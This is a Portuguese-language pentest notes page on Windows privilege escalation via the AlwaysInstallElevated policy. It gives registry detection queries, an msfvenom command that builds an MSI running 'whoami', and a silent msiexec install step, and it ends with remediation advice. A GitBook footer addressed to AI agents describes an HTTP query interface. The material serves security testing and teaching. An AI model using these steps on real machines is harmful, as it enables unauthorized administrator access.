> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# Escalonamento de Privilégios no Windows com AlwaysInstallElevated

`AlwaysInstallElevated` é uma política perigosa do Windows que permite que um usuário sem privilégios de administrador instale pacotes MSI com privilégios elevados quando as chaves de registro do usuário atual e da máquina local estão habilitadas.

## Detecção

A constatação é explorável quando ambos os valores retornam `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/0ac3bb7666ef5daab3d9ef1130126076f06b3ba6" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## Validação em Laboratório

Em um laboratório controlado, crie um MSI que execute uma ação de validação claramente visível, como gravar a identidade elevada em um arquivo temporário. Substitua a ação pela carga útil autorizada somente depois de confirmar o escopo e a configuração do listener.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/9b014217d98aacf164ce7a286aba593991d855f1" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## Execute o Instalador

Instale o MSI silenciosamente:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/64f5366776a327a4022893cbc2938ca0301df37e" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## Pontos-chave

* Ambas as chaves do registro devem estar habilitadas.
* O MSI é executado com privilégios elevados.
* Se apenas uma chave estiver habilitada, mantenha isso como uma constatação de hardening, mas não trate como uma elevação de privilégio funcional.
* Corrija desabilitando a política e monitorando instalações MSI anormais.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
